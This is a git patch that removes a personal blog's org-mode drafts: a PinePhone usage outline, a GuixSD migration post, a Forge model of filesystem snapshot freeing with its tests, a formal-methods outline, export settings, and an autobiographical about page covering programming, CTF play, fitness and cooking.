From 81c4d517735983a5afd6e9dc800257c761598527 Mon Sep 17 00:00:00 2001
From: Jakob L. Kreuze
Date: Sat, 13 Jul 2024 18:04:05 -0400
Subject: The `org' directory is no longer necessary
---
org/.dir-locals.el | 8 -
org/I Love My PinePhone/brainstorming.org | 242 -------
.../installing-guixsd-one-month-later.org | 100 ---
.../MyrddinHeap.svg | 694 ---------------------
.../umass-ctf-2021-postmortem-1.png | Bin 13180 -> 0 bytes
.../umass-ctf-2021-postmortem-2.png | Bin 32415 -> 0 bytes
.../1670-problem.frg | 227 -------
.../forge-1-1.png | Bin 76319 -> 0 bytes
.../forge-1-2.png | Bin 76837 -> 0 bytes
.../forge-1-3.png | Bin 52219 -> 0 bytes
.../forge-1-4.png | Bin 53208 -> 0 bytes
.../outline.org | 82 ---
org/pages/.dir-locals.el | 11 -
org/pages/about-complete.org | 212 -------
org/pages/changelog.org | 41 --
org/ret2emacs/ret2emacs-overlay-demo.png | Bin 2104 -> 0 bytes
org/ret2emacs/umass-ctf-2022.org | 467 --------------
17 files changed, 2084 deletions(-)
delete mode 100644 org/.dir-locals.el
delete mode 100644 org/I Love My PinePhone/brainstorming.org
delete mode 100644 org/Installing GuixSD: One Month Later/installing-guixsd-one-month-later.org
delete mode 100644 org/UMass CTF 2020 - suckless Writeup/MyrddinHeap.svg
delete mode 100644 org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem-1.png
delete mode 100644 org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem-2.png
delete mode 100644 org/What I've Learned About Formal Methods In Half a Year/1670-problem.frg
delete mode 100644 org/What I've Learned About Formal Methods In Half a Year/forge-1-1.png
delete mode 100644 org/What I've Learned About Formal Methods In Half a Year/forge-1-2.png
delete mode 100644 org/What I've Learned About Formal Methods In Half a Year/forge-1-3.png
delete mode 100644 org/What I've Learned About Formal Methods In Half a Year/forge-1-4.png
delete mode 100644 org/What I've Learned About Formal Methods In Half a Year/outline.org
delete mode 100644 org/pages/.dir-locals.el
delete mode 100644 org/pages/about-complete.org
delete mode 100644 org/pages/changelog.org
delete mode 100644 org/ret2emacs/ret2emacs-overlay-demo.png
delete mode 100644 org/ret2emacs/umass-ctf-2022.org
(limited to 'org')
diff --git a/org/.dir-locals.el b/org/.dir-locals.el
deleted file mode 100644
index 211fd8b..0000000
--- a/org/.dir-locals.el
+++ /dev/null
@@ -1,8 +0,0 @@
-((org-mode . ((org-html-doctype . "xhtml5")
- (org-html-html5-fancy . t)
- (org-html-with-latex . 'verbatim)
- (org-export-with-toc . nil)
- (org-export-with-section-numbers . nil)
- (org-export-with-sub-superscripts . nil)
- (ox-haunt-base-dir . "/home/jakob/Blog/haunt/")
- (ox-haunt-images-dir . "/static/image/"))))
diff --git a/org/I Love My PinePhone/brainstorming.org b/org/I Love My PinePhone/brainstorming.org
deleted file mode 100644
index 9030c4d..0000000
--- a/org/I Love My PinePhone/brainstorming.org
+++ /dev/null
@@ -1,242 +0,0 @@
-* Outline
-
-** Introduction
-
-*** What is a Linux Phone?
-
-*** Why did I want one?
-
-**** Enter: my old phones
-
-**** Android Grievances
-
-- System UI freezes very frequently, makes phone inoperable
-- Poor integration with external SD
-- Random kernel panics.. as to be expected on a (3.10.108-lineageos-g6f027fb1e3f non-mainline kernel)?
-- SD Card problem. Hard to capture as screenshots since it doesn't let me take them when it happens
- - Explain how you're using SD's
-
-**** Could be solved by getting a better-supported phone, but that's expensive!
-
-**** Software Development Freedom
-
-**** Run Linux Desktop Apps
-
-=openxcom= is one of a few examples I care about
-
-*** Enter: Pinephone
-
-*** PostmarketOS (with mention of some other distros for the Pinephone)
-
-I am a Gentoo fan, but I haven't had a great time with
-
-https://wiki.gentoo.org/wiki/PinePhone
-
-I like Alpine a lot, though. It strikes me as similar to Gentoo in a lot of the
-ways I care about (fairly easy to bootstrap, ...)
-
-*** Some Other options (Halium, etc.)
-
-- Shout out SqueakPhone.
- - "I think we're in the golden age of open hacking on mobile devices."
-
-** The Initial Transition
-
-*** Factorytest
-
-- =motor= test did not work
- - However, it worked in PMOS.
-- Some finicky-ness with the modem :(
-
-*** 3D Printed Case
-
-*** Screen Protector
-
-- Got some for the iPhone X
-
-*** Mobile Data
-
-https://wiki.pine64.org/wiki/PinePhone_APN_Settings#AT.26T_.28USA.29
-
-Curiously, I went to icanhazip.com and I was given an IPv6 address in response.
-First time that's happened to me, ever.
-
-*** Storage
-
-Start off by installing to EMMC, then mount 256G SD as OverlayFS on /home, /opt
-
-*** Mostly worked Out-of-the-Box
-
-*** Litmus: Being Able to Show a Picture of Fred Durst at the Thanksgiving Dinner Table
-
-*** Roles of Applications
-
-# Obviously, I'm not going to be using Android applications for the daily tasks that I use my phone for.
-
-**** Raw List
-
-+andOTP+
-+AntennaPod+
-AnySoftKeyboard
-+App Manager+
-AudioFX
-+Aurora Store+
-+BackgroundRestrictor+
-Browser|Not used|
-aAVNC
-Calculator
-Calendar
-Calendar Import-Export
-+Camera+
-Clock
-Contacts
-Conversations
-DCU
-Discord
-Email|Not used
-F-Droid
-FFUpdater
-Files
-Firefox
-FM Radio
-+Gallery+
-K-9 Mail
-Libera PRO
-Messaging
-MuPDF mini
-Music
-NewPipe
-Obsqr
-Offline Calendar
-OpenKeychain
-Orbot
-Orgzly
-OsmAnd~
-Password Store
-+Phone+
-Recorder
-RetroArch
-Settings
-Shattered Pixel Dungeons
-Signal
-Slide
-Snapchat
-Syncthing
-Termux
-Tiny Tiny RSS
-Tusky
-USAA
-wallabag
-Wikipedia
-
-**** Table
-
-| andOTP | gnome-authenticator | https://wiki.mobian-project.org/doku.php?id=authenticator |
-| Camera | Megapixels | https://wiki.mobian-project.org/doku.php?id=megapixels |
-| Gallery | gnome-photos | https://wiki.mobian-project.org/doku.php?id=gnomephotos |
-| Phone | Calls | https://wiki.mobian-project.org/doku.php?id=calls |
-
-Dropping:
-
-- AntennaPod: I'll just use an RSS reader.
-- App Manager: Android-specific
-- Aurora Store: Android-specific
-- BackgroundRestrictor: Android-specific
-
-** Issues Encountered
-
-*** Modem: Frequent Disconnects, not receiving calls
-
-Contingency: Custom modem firmware
-- Disabled automatic suspends
-
-Modem has been the single most frustrating part about using the PP.
-- I find it funny that the ADSP firmwares are blobs we just found somewhere; Quectel doesn't officially publish them.
-
-With the news that Quectel could potentially be locking down their hardware and preventing users from flashing their own firmware, all I have to say further about the modem is...
-
-# [Linus Torvalds FUCK YOU NVIDIA]
-
-See (Toomanyatoms) for further evidence of Quectel's absolute incompetence.
-
-The sad thing is, there probably won't be this much work on other modems for a while. This Quectel piece of shit will probably be the best supported modem in e.g. PostmarketOS for the foreseeable future.
-
-# Unless...
-
-*** Occasional Non-Wake from Suspend
-
-- Configured syslogd to write to disk, waiting to debug. [TODO].
-
-*** Suspend Prevents Alarm from Going off
-
-Contingency: Modem firmware can do a "wake-up call"
-
-*** Battery Life
-
-- Power draw has been attributed to four separate chips (https://amosbbatto.wordpress.com/2021/12/10/comparing-l5-and-pp/)
-
-*** Mobile hotspot not working
-
-- Laptop can connect, but internet is not passed through.
- - Apparently a kernel issue: https://forum.pine64.org/showthread.php?tid=10974
- - Easier solution for the time being has been to use [[https://github.com/rofl0r/microsocks][microsocks]], since I can
- connect to my phone via hotspot at least.
-
-*** Lack of software
-
-- Write your own!
- - I had to write my own Signal client...
-
-*** Cross Compiling Woes
-
-- Literally could not get gnome-authenticator to work
- - Quality control for packages seems to be much less than Gentoo
-- Spending literally a day trying to compile Emacs PGTK
-- It ain't Gentoo
-
-** Quality-of-Life
-
-*** Being able to use Emacs on mobile
-
-- Any particular use-cases that are well supported?
-
-# Necessary talking point: I've literally edited this blog post using Emacs from my bed while the gf was asleep on me.
-
-# "You might expect Emacs on mobile to be a bit of a Gimmick, but it's the application I use the second most, right after Firefox"
-# - Attribute this to Syncthing or rsync making it easy to get config over, not the casse in Termux
-# - Also icons make it a little bit nicer for touch input
-
-
-*** Being able to use yt-dlp and mpv instead of New Pipe
-
-*** Running scripts, cron, other automation
-
-*** Contacting phone over SSH
-
-*** Considerations: dotfiles on mobile vs desktop
-
-*** Convergence
-
-** Software Development; Porting
-
-#In non-QT land, you have two options:
-#- gtk3 and libhandy
-#- gtk4 and libadwaita
-#There used to be anti-GTK sentiment, but these days it rocks
-
-** Community
-
-*** Malware
-
-** Social Implications
-
-# I appreciate my partner's willingness to put up with me using a weird phone
-# that can't do anything.
-
-# Can't use Uber.. but I didn't really use Uber anyway with my non-gApps smartphone.
-
-** Surveying Others' Opinions on the Pinephone
-
-** My Dream Cellphone
-
-** Conclusion
diff --git a/org/Installing GuixSD: One Month Later/installing-guixsd-one-month-later.org b/org/Installing GuixSD: One Month Later/installing-guixsd-one-month-later.org
deleted file mode 100644
index 32b6685..0000000
--- a/org/Installing GuixSD: One Month Later/installing-guixsd-one-month-later.org
+++ /dev/null
@@ -1,100 +0,0 @@
-#+TITLE: Installing GuixSD: One Month Later
-+DATE:
-#+TAGS: opinion, linux, gentoo
-
-# https://zge.us.to/guix.html
-
-# https://octodon.social/@cwebber/101816791252611754
-# https://mastodon.sdf.org/@jakob/101857455853919355
-# Stability with v1.0.0
-# https://octodon.social/@cwebber/102089556606069384
-
-# It's actually been three months since I began running GuixSD as a daily driver,
-# but I wanted to reference a [[/blog/installing-gentoo-one-month-later.html][similar post]] I wrote last year.
-
-Several months ago, I came across one of Pierre Neidhardt's [[https://ambrevar.xyz/guix-advance/index.html][articles]] regarding
-the Guix System Distribution. NixOS was little more than a name to me back then,
-so this was my first exposure to the concepts of purely functional package
-management. I was pretty stoked about the ideas behind it.
-
-The article introduces GuixSD as the "fully-programmable OS," explaining that
-the init system and package manager are both written in [[https://www.gnu.org/software/guile/][GNU Guile]]. As someone
-who often longed for a Lisp interface to [[https://en.wikipedia.org/wiki/Portage_(software)][Portage]], this immediately caught my
-attention. Among the other favorite features that Neidhardt lists, I was
-particularly enticed by the promises of system roll-backs, support for multiple
-simultaneously-installed package versions, a "self-reproducing live USB", and a
-GNU Emacs package for working with the package manager.
-
-#+BEGIN_EXPORT html
-
-
-
-#+END_EXPORT
-
-My setup was working just fine, though, and I needed a working computer for
-university, so I didn't have much of a compelling reason to distro hop. That is,
-until I got word that my GSoC [[https://summerofcode.withgoogle.com/projects/#5232565294727168][proposal]] this year was accepted. I'll say this
-much: If a virtual machine is a significant part of your development workflow,
-you're gonna have a bad time.
-
-* Installation
-
-When I'm not at university, I have two machines that I like to use: a desktop
-computer, and a laptop. The desktop computer was my first victim as I'd still be
-able to get things done if it were in an unusable state (the laptop was another
-story). As it turns out, I picked the harder of the two machines to install
-GuixSD to first. The installer would show some messages from Shepherd, and then
-continue to boot to a blank screen. I was able to get to a console if I passed
-in 'nomodeset' from Grub, so the issue was immediately obvious to me: the
-default kernel for GuixSD is [[https://en.wikipedia.org/wiki/Linux-libre][Linux-libre]], an offshoot of Linux that removes any
-and all non-free components. Put another way, any firmware blobs that the
-tower's graphics card might have need weren't being loaded
-
-As comforting as the VESA framebuffer console is, I wanted to run an X server.
-I'd have to load non-free firmware. Sigh. Please don't blob-shame me.
-
-This actually isn't too hard to do, and is [[https://ambrevar.xyz/guix-advance/index.html#org1a64edd][covered]] in Pierre's article. What I
-did, essentially, was create a Guix configuration with a custom kernel and use
-'guix system disk-image' to produce something that I could use on my tower, and
-install GuixSD from there. I began with the kernel config I was using for
-Gentoo, but that would panic, claiming that Linux couldn't find the root
-filesystem. So I copied over GuixSD's config. That seemed to work. This all took
-a pretty long time because I was compiling the kernel in a /virtual machine/, and
-every time I changed something, Guix would calculate a new derivation for the
-kernel, and it would be rebuilt without any of the object files from the
-previous compilation.
-
-When I had a good development environment on the tower, I felt it was time to
-install to the laptop. This was far easier as I didn't have to worry about
-firmware for the machine to be _usable_. The internal WNIC didn't work, but that
-was alright since I had a USB WNIC that didn't require non-free firmware.
-
---
-
-Being able to configure my machines from a single Scheme source file has
-provided me great peace of mind; trying to document the changes I make to the
-various configuration files in ~/etc/~ is hopeless.
-
-There are a number of features that Gentoo brought that I'll miss, but I also
-think my missing them is a matter of preference.
-
-I never really understood slots in Gentoo. I think they allow multiple versions
-of a package to be installed at the same time. Regardless, I have no plans to
-learn about them now. The use of symbolic links in Guix is a solution to the
-multiple-versions problem that's much easier to wrap my head around.
-
-I always hated the way that Gentoo dealt with configuration files of upgraded
-packages.
-
-"For example, alice installs GCC 4.7.2. As a result,
-/home/alice/.guix-profile/bin/gcc points to /gnu/store/…-gcc-4.7.2/bin/gcc. Now,
-on the same machine, bob had already installed GCC 4.8.0. The profile of bob
-simply continues to point to /gnu/store/…-gcc-4.8.0/bin/gcc—i.e., both versions
-of GCC coexist on the same system without any interference."
-
-- Package "categories" (i.e. app-admin, net-im). This is something that the
- BSD's do, and Debian-likes do not.
-
-The straw that broke the camel's back was this [[https://forum.zdoom.org/viewtopic.php?f=50&t=65552][unusual stuttering]] in anything
-running OpenGL. I concluded that this was an issue with SDL or Mesa and
-proceeded to nuke everything and reinstall Gentoo.
diff --git a/org/UMass CTF 2020 - suckless Writeup/MyrddinHeap.svg b/org/UMass CTF 2020 - suckless Writeup/MyrddinHeap.svg
deleted file mode 100644
index b5261bf..0000000
--- a/org/UMass CTF 2020 - suckless Writeup/MyrddinHeap.svg
+++ /dev/null
@@ -1,694 +0,0 @@
-
-
diff --git a/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem-1.png b/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem-1.png
deleted file mode 100644
index 1bee126..0000000
Binary files a/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem-1.png and /dev/null differ
diff --git a/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem-2.png b/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem-2.png
deleted file mode 100644
index 7f12ad1..0000000
Binary files a/org/UMass CTF 2021 Postmortem/umass-ctf-2021-postmortem-2.png and /dev/null differ
diff --git a/org/What I've Learned About Formal Methods In Half a Year/1670-problem.frg b/org/What I've Learned About Formal Methods In Half a Year/1670-problem.frg
deleted file mode 100644
index d82d709..0000000
--- a/org/What I've Learned About Formal Methods In Half a Year/1670-problem.frg
+++ /dev/null
@@ -1,227 +0,0 @@
-#lang forge
-
-option solver "/tmp/sat1/solver.py"
-
-option problem_type temporal
-option min_tracelength 2
-option max_tracelength 10
-
-sig File {
- ctime: one Int,
- var free: one Int
-}
-
-sig Snapshot extends File {
- children: set File,
- retired_list: set File
-}
-
-one sig CurrentRoot {
- var live_children: set File,
- var live_retired_list: set File
-}
-
-pred referenced_by_snapshot[f: File] {
- some s: Snapshot {
- s.free = 0
- f in s.children
- }
-}
-
-pred valid_state {
- all f: File {
- -- No referenced file should be free.
- (f in CurrentRoot.live_children or (some s: Snapshot | f in s.children and s.free = 0)) => f.free = 0
-
- -- No file in a retired list should referenced
- f in CurrentRoot.live_retired_list => f not in CurrentRoot.live_children
- all s: Snapshot {
- f in s.retired_list and s.free = 0 => f not in s.children
- }
-
- -- Treat `free` as a boolean.
- f.free = 0 or f.free = 1
- }
-
- -- Snapshots must be roots.
- all s1 : Snapshot {
- s1 not in CurrentRoot.live_children
- s1 not in CurrentRoot.live_retired_list
- all s2: Snapshot {
- s1 not in s2.children
- s1 not in s2.retired_list
- }
- }
-
- -- Added this!
- all f: File | (all s1: Snapshot | f in s1.retired_list => {
- f not in CurrentRoot.live_children
- all s2: Snapshot {
- s2.ctime > s1.ctime => f not in s2.children
- }
- })
-
- -- This was also necessary -- clock is monotone.
- all disj f1, f2: File | f1.ctime != f2.ctime
-}
-
---
-
--- We start with an empty filesystem, where everything is free.
-pred init {
- no CurrentRoot.live_children
- no CurrentRoot.live_retired_list
- all f: File {
- f.free = 1 iff f != CurrentRoot
- }
-}
-
-pred make_snapshot {
- one s: Snapshot {
- -- The snapshot captures the state of the filesystem at this point in time.
- s.children = CurrentRoot.live_children
- s.retired_list = CurrentRoot.live_retired_list
-
- -- The snapshot is now marked as allocated.
- s.free = 1
- s.free' = 0
-
- all f: File {
- f != s => {
- -- The free flag is unchanged for every other file.
- f.free' = f.free
-
- -- All other creations happened in the past, relative to this one.
- f.free = 0 => s.ctime > f.ctime
- }
- }
- }
-
- -- The retired list is emptied for the current filesystem.
- no live_retired_list'
-
- -- Nothing else changes.
- live_children' = live_children
-}
-
-pred referenced_by_no_other_snapshot[f: File] {
- all s: Snapshot {
- s.free = 0 => f not in s.children
- }
-}
-
-pred delete_snapshot {
- one s: Snapshot {
- -- The snapshot is now marked as free
- s.free = 0
- s.free' = 1
-
- all f: File {
- (f in s.retired_list and referenced_by_no_other_snapshot[f]) => {
- f.free' = 1
- } else {
- -- The free flag is unchanged for every other file.
- f != s => f.free' = f.free
- }
- }
- }
-
- -- Nothing else changes.
- live_retired_list' = live_retired_list
- live_children' = live_children
-}
-
-pred make_file {
- one f: File {
- -- `f` is added to the set of live children.
- CurrentRoot.live_children' = CurrentRoot.live_children + f
- -- `f` is marked as allocated.
- f.free' = 0
-
- -- n.b. it could already be allocated, if a previous snapshot refers to it.
-
- all f2: File {
- f2 != f => {
- -- Free flag for other files remains unchanged.
- f2.free' = f2.free
-
- -- All other creations happened in the past, relative to this one.
- f2.free = 0 => f.ctime > f2.ctime
- }
- }
- }
-
- -- Nothing else changes.
- live_retired_list' = live_retired_list
- live_children' = live_children
-}
-
-pred delete_file {
- one f: File {
- -- It only makes sense to delete a file if it's in the filesystem
- f in CurrentRoot.live_children
-
- -- Remove it from the filesystem, and reclaim it if applicable.
- -- Otherwise, put it in the retired list.
- CurrentRoot.live_children' = CurrentRoot.live_children - f
-
- referenced_by_snapshot[f] => {
- -- If another snapshot refers to this one, we don't free it
- -- but add it to the retired list.
- f.free' = 0
- CurrentRoot.live_retired_list' = CurrentRoot.live_retired_list + f
- } else {
- -- Otherwise we can free it and the retired list is unchanged.
- f.free' = 1
- live_retired_list' = live_retired_list
- }
-
- all f2: File {
- -- Free flag for other files remains unchanged.
- f2 != f => f2.free' = f2.free
- }
- }
-}
-
-pred traces {
- init
- always (make_snapshot or delete_snapshot or make_file or delete_file)
-}
-
-
-test expect {
- valid_state_vacuity1: { valid_state } for 5 File is sat
- valid_state_vacuity2: { valid_state } for exactly 5 File is sat
-
- init_vacuity1: { init } for 5 File is sat
- init_vacuity2: { init } for exactly 5 File is sat
-
- make_snapshot_vacuity1: { valid_state and make_snapshot } for 5 File is sat
- make_snapshot_vacuity2: { valid_state and make_snapshot } for exactly 5 File is sat
- make_snapshot_good: {
- (valid_state and make_snapshot) => next_state valid_state
- } for 5 File is theorem
-
- delete_snapshot_vacuity1: { valid_state and delete_snapshot } for 5 File is sat
- delete_snapshot_vacuity2: { valid_state and delete_snapshot } for exactly 5 File is sat
- delete_snapshot_good: {
- (valid_state and delete_snapshot) => next_state valid_state
- } for 5 File is theorem
-
- make_file_vacuity1: { valid_state and make_file } for 5 File is sat
- make_file_vacuity2: { valid_state and make_file } for exactly 5 File is sat
- make_file_good: {
- (valid_state and make_file) => next_state valid_state
- } for 5 File is theorem
-
- delete_file_vacuity1: { valid_state and delete_file } for 5 File is sat
- delete_file_vacuity2: { valid_state and delete_file } for exactly 5 File is sat
- delete_file_good: {
- (valid_state and delete_file) => next_state valid_state
- } for 5 File is theorem
-
- traces_vacuity: { traces } for 5 File is sat
- traces_vacuity: { traces } for exactly 5 File is sat
-
- problem_2b: { traces => always { all f: File | referenced_by_snapshot[f] => (some s: Snapshot | s.free = 0 and s.ctime > f.ctime) } } for exactly 5 File is theorem
-}
diff --git a/org/What I've Learned About Formal Methods In Half a Year/forge-1-1.png b/org/What I've Learned About Formal Methods In Half a Year/forge-1-1.png
deleted file mode 100644
index 0fbe29e..0000000
Binary files a/org/What I've Learned About Formal Methods In Half a Year/forge-1-1.png and /dev/null differ
diff --git a/org/What I've Learned About Formal Methods In Half a Year/forge-1-2.png b/org/What I've Learned About Formal Methods In Half a Year/forge-1-2.png
deleted file mode 100644
index 9196000..0000000
Binary files a/org/What I've Learned About Formal Methods In Half a Year/forge-1-2.png and /dev/null differ
diff --git a/org/What I've Learned About Formal Methods In Half a Year/forge-1-3.png b/org/What I've Learned About Formal Methods In Half a Year/forge-1-3.png
deleted file mode 100644
index 634939c..0000000
Binary files a/org/What I've Learned About Formal Methods In Half a Year/forge-1-3.png and /dev/null differ
diff --git a/org/What I've Learned About Formal Methods In Half a Year/forge-1-4.png b/org/What I've Learned About Formal Methods In Half a Year/forge-1-4.png
deleted file mode 100644
index da6832e..0000000
Binary files a/org/What I've Learned About Formal Methods In Half a Year/forge-1-4.png and /dev/null differ
diff --git a/org/What I've Learned About Formal Methods In Half a Year/outline.org b/org/What I've Learned About Formal Methods In Half a Year/outline.org
deleted file mode 100644
index 255ad05..0000000
--- a/org/What I've Learned About Formal Methods In Half a Year/outline.org
+++ /dev/null
@@ -1,82 +0,0 @@
-* Outline
-** Introduction
-- Where are you in school right now?
- - CSCI 1951X last semester
- - CSCI 1710 now
- - Doing research on formal methods with Shriram Krishnamurti, Rob Lewis, and Nikos Vasilakis
-- What are formal methods and why are the classes you took considered "formal methods classes".
-** Preliminaries
-*** What are specifications?
-** Lightweight formal methods: SAT/SMT solvers like Alloy
-https://people.csail.mit.edu/dnj/publications/alloy-journal.pdf
-*** What makes these methods "lightweight"?
-*** What are they, in principle?
-*** Forge versus Alloy
-*** How do they work?
-*** Application: Memory Management
-*** Margrave
-http://www.margrave-tool.org/
-** Heavyweight formal methods: specification and theorem proving
-*** Specification
-*** Programming Language Semantics
-**** Big-Step
-**** Small-Step
-**** Denotational
-*** Theorem Proving
-**** Lean
-**** Coq
-*** Refinement
-*** Application: Proving the Correctness of a Scheme Program
-"what I did for the final project was somewhat natural, so we'll dive into that and then explain how it's similar to refinement"
-**** Parsing Lisp
-**** Modeling Scheme
-**** A Type-Theoretic Representation for Programs
-**** A Type-Theoretic Representation for Programs
-**** A (Sketch of a) Realized Interpreter
-**** A Proof of Correctness for Factorial
-** What I hope to learn, eventually
-While I feel I'm leaving with a good understanding of the underlying concepts..
-
-Ultimately, I'd like to bring what I learn back to work. There's a big push for [[https://inl.gov/digital-engineering/][digital engineering]] where I sit.
-
-And I think there are a few specific tools that would be especially useful in my line of work.
-*** TLA+
-*** EasyCrypt
-*** VerifPal
-Christine described it as the "one with an anime mascot" once.
-** Conclusion
-** Appendix: Tooling on Gentoo
-*** Forge
-
-I didn't bother packaging it. I just use =raco= to update.
-
-I use =alloy-mode=, which is pretty broken, but sufficient for my needs.
-
-#+BEGIN_SRC elisp
-(use-package alloy-mode
- :straight (alloy-mode :type git :host github :repo "torus/alloy-mode"
- :fork (:host github :repo "dwwmmn/alloy-mode"))
- ;; For some reason, `alloy-mode' indents with tabs of width 3. Let's change
- ;; that to something more sensical.
- :init
- (setq alloy-basic-offset 4)
- :hook
- (alloy-mode-hook . (lambda () (setq indent-tabs-mode nil)))
- ;; Use alloy-mode for Forge files as well.
- :config
- (add-to-list 'auto-mode-alist '("\\.frg\\'" . alloy-mode)))
-#+END_SRC
-
-*** Lean
-
-Lean 3 is packaged in Gentoo and =lean-mode= works out of the box, but my experience has been that Lean 4 is way better.
-
-**** =lean4-mode=
-
-This probably also works out of the box but I hate =lsp-mode=, so I hacked together some code to get a functional goal buffer.
-
-# TODO
-
-I hear that [[https://proofgeneral.github.io/][Proof General]] might be getting Lean support soon, and I'm 50/50 on whether or not I'd switch. It's a very nice interface to Coq, but I think my fingers might get an extra year or two of life if I don't have to =C-c C-.= every time I want to update the goal buffer
-
-**** ebuild
diff --git a/org/pages/.dir-locals.el b/org/pages/.dir-locals.el
deleted file mode 100644
index 68a3a97..0000000
--- a/org/pages/.dir-locals.el
+++ /dev/null
@@ -1,11 +0,0 @@
-((org-mode . ((org-html-doctype . "xhtml5")
- (org-html-html5-fancy . t)
- (org-html-with-latex . 'verbatim)
- (org-export-with-toc . nil)
- (org-export-with-section-numbers . nil)
- (org-export-with-sub-superscripts . nil)
- (org-html-toplevel-hlevel . 1)
- (org-export-headline-levels . 4)
- (ox-haunt-base-dir . "/home/jakob/Blog/haunt/")
- (ox-haunt-images-dir . "/static/image/")
- (ox-haunt-posts-dir . "/pages/"))))
diff --git a/org/pages/about-complete.org b/org/pages/about-complete.org
deleted file mode 100644
index 4ae03bd..0000000
--- a/org/pages/about-complete.org
+++ /dev/null
@@ -1,212 +0,0 @@
-* About me.
-
-My name is Jakob Kreuze (/ˈdʒeɪkəbˈkɹuz/ and /ˈjaːkɔp ˈkʁɔʏ̯tsə/ are both acceptable pronunciations). I'm a 23 year-old living in Greater Boston. I received my B.Sc. in Computer Science and Mathematics from the University of Massachusetts in 2021, and my M.Sc. in Computer Science from Brown University in 2024. Nowadays, I work full-time as a civil servant.
-
-I work primarily with the design of secure systems. My research interests are formal methods, distributed computing, symbolic execution, and signals processing. I did my undergraduate research in cryptography; the experience was gratifying and greatly influenced my career path, but I'm not especially interested in it these days.
-
-My free time not spent on chores or being with friends and family is spent working on personal projects, which are outlined [[https://jakob.space/pages/about.html][here]].
-
-If you're interested in game engine tech, my younger brother is working on a game engine + graphics engine of his own. You can read about it on [[https://p0ly.com/][his website]]. I like to think of him as my protégé, but he's mostly self-taught.
-
-** My Interests
-
-*** (Functional) programming
-
-I was introduced to computer programming at an early age. My parents were given a Nintendo 64 as a wedding gift shortly before I was born, so I spent my early years playing /Ocarina of Time/ and the likes. My young, impressionable mind drew inspiration, and I would go on about how I wanted to make games of my own. My technically-apt father was able to point me in the right direction for learning to do so.
-
-I was writing small games in Python by the time I was ten years old, though I have little to show for it with much lost to failing hard drives. The interest waxed and waned, but picked back up significantly when I turned 14 and began using GNU/Linux.
-
-The renowned /Structure and Interpretation of Computer Programs/ was my introduction to functional programming, recommended by several in the "online" circle I hung around circa then. It's an excellent book, but I was not mature enough to understand it at that age. The points about higher-order functions did, however, click for me, and I was inspired to begin using the handful of functional programming tools available in Python, and to learn Common Lisp (because I thought the syntax laden with parentheses was obscure and cool).
-
-this was all prior to learning about the sort of object-oriented style that was taught in my ap computer science class. having to deal with that programming paradigm really cemented my opinions about why functional is the "right" way to write software.
-
-Nowadays, my favorite programming languages are Scheme, Haskell, and Rust. Depending on who you ask, some subset of those languages are "functional programming languages." It's not a clear-cut term, but what it means to me is an emphasis on immutability and higher-order functions. I consider all three to be functional, though Rust is somewhat of a black sheep.
-
-*** Computer security
-
-Amid my early years with computer programming, I was briefly introduced to web development and, in particular, PHP. The language has a reputation for the ease with which one can introduce security vulnerabilities, and as such, the book I was using to teach myself at the time expatiated about SQL injection, going so far as to walk the reader through an example. At eleven years old, this piqued my interest, and I soon sought out as much material on computer security as I could, showing my friends what I could do on [[https://www.hackthissite.org/][HackThisSite]].
-
-I began playing capture-the-flag when I was in high school and came across LiveOverflow's [[https://yewtu.be/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN][early videos]], which inspired me to play in the (now defunct) [[https://ctf-x.github.io/][CTF(x)]]. I was a team of one until I started playing with [[https://0xbu.com/blog/][0xBU]]. I was still in high school, only 16, but I noticed them on the leader-board. They were just a train ride away, so I reached out to ask if I could show up to their meetings. They said yes, so I spent most of my weekends downtown, getting good at pwning.
-
-In my university years, I was an e-board member of the [[https://umasscybersec.org/][UMass Cybersecurity Club]]: playing for their CTF team, and putting serious work into the CTF's we hosted.
-
-*** Lifting weights
-
-I exercise every day, barring extreme circumstances.
-
-#+CAPTION: Current body as of April 13, 2023.
-[[./cbt-2023-04-13.jpg]]
-
-Sports didn't interest me when I was younger. I was signed up for soccer, and basketball, and many other after-school sports programs, but nothing stuck.
-
-At 13, I joined the [[https://en.wikipedia.org/wiki/Civil_Air_Patrol][Civil Air Patrol]], which changed my prior attitudes toward fitness. Now I had to pass fitness tests to promote, and I had to be in-shape for the emergency response work I was doing, so I picked up a regular exercise routine. I began with body-weight exercises and running outside, and I fell in love with it. Pushing yourself to exhaustion -- until you can barely lift your arms -- is addicting. But I was soon bored with calisthenics and begged my parents for a gym membership. I posed it as something I could do with my dad, and that's how I spent my evenings in high school.
-
-I don't lift competitively. I've had aspirations to over the years, but injuries have prevented me from pushing enough weight to place (herniated disk circa 2017, gluteus medius tear circa 2020). Perhaps my time will come.
-
-I'm selective about the fitness-related content I consume, tending to prefer folks in the "evidence-based fitness community" like Greg Nuckols, Eric Trexler, and Jeff Nippard.
-
-**** Regimen
-
-A given day is cardio xor weightlifting. It's rare that I do both on the same day. This is for the resiliency of my routine; if I know I'm going to be stuck somewhere without access to weights, I can still keep up with my routine by going outside to run.
-
-At the moment, I'm running the third of Jeff Nippard's "Powerbuilding System" programs, after having an exceptionally good experience with the first two.
-
-*** Food and Permaculture
-
-In spite of my deceptively trim figure, I love to cook and eat, especially when it involves unfamiliar cuisines. "Gourmand" is a term I often use when describing myself.
-
-I was fortunate that most of my meals growing up were homemade. It was much healthier than the alternative, and I was able to learn a lot from my parents in the kitchen. I started taking on that chore in high school with the aim of making things less stressful for my parents. Nowadays, it's practically a hobby for me. I love learning new skills and techniques, and making delicious meals to share with my friends and family.
-
-I especially enjoy dishes from Africa and South Asia.
-
-Having an adventurous palate, I'm also interested in permaculture, because it enables me to enjoy produce I would otherwise have a difficult time acquiring (like besobela, or Carolina reapers). My parents always had a garden when I was growing up, and I really enjoyed the idea of self-resiliency that's embedded in the hobby. It's been a bit difficult to grow much on my own because I currently live in an apartment, but some day I'll fulfill my dream of having a huge and varied garden just like theirs.
-
-*** Music
-
-I don't really play or write music at the moment.
-
-My parents signed me up for drum lessons when I was 10, and I did that until I was 18, eventually getting a summer job as a drum line instructor. I didn't have time to keep up with practicing when I went off to college.
-
